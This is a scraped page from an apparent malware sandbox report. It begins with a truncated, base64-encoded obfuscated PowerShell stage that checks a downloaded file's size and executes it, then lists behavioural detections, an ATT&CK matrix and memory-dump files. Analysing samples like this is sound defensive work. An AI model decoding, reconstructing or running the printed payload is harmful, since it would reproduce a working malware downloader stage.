aACkAOwAkAGMAQwBfAEEAVQBDAD0AKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBDAEEAQQAnACwAJwBBACcAKQAsACcAWgAnACwAJwBQAFEAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAGYAWgBVAEEAQQBrAEEAWgApAC4AIgBsAGUAYABOAGAARwBUAEgAIgAgAC0AZwBlACAAMgAwADIAOAAxACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlAC0ASQAnACsAJwB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGYAWgBVAEEAQQBrAEEAWgA7ACQAVQBBAEEAYwBEAHcAPQAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAQQBRACcALAAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBuACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBVACcALAAnAEEAVQBfACcAKQAsACcAQQAnACkAKQA7AGIAcgBlAGEAawA7ACQAagBYAGMAXwBBAGsAPQAoACIAewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBBAEQAJwAsACcAVQBBACcAKQAsACcAdwBjACcALAAnAEgAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAFoAQgBCAEEAVQA9ACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcARABBAEMAJwAsACcAQQAnACkALAAnAFoAYwAnACkA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:396

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/396-62-0x000007FEF3250000-0x000007FEF3DAD000-memory.dmp

Filesize
11.4MB

Download
memory/396-64-0x0000000002562000-0x0000000002564000-memory.dmp

Filesize
8KB

Download
memory/396-65-0x0000000002564000-0x0000000002567000-memory.dmp

Filesize
12KB

Download
memory/396-63-0x0000000002560000-0x0000000002562000-memory.dmp

Filesize
8KB

Download
memory/396-66-0x000000001B7E0000-0x000000001BADF000-memory.dmp

Filesize
3.0MB

Download
memory/396-67-0x000000000256B000-0x000000000258A000-memory.dmp

Filesize
124KB

Download
memory/892-59-0x000007FEFC031000-0x000007FEFC033000-memory.dmp

Filesize
8KB

Download
memory/1580-56-0x0000000070611000-0x0000000070613000-memory.dmp

Filesize
8KB

Download
memory/1580-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1580-58-0x00000000763F1000-0x00000000763F3000-memory.dmp

Filesize
8KB

Download
memory/1580-60-0x0000000005D50000-0x000000000699A000-memory.dmp

Filesize
12.3MB

Download
memory/1580-55-0x0000000072B91000-0x0000000072B94000-memory.dmp

Filesize
12KB

Download
memory/1580-68-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads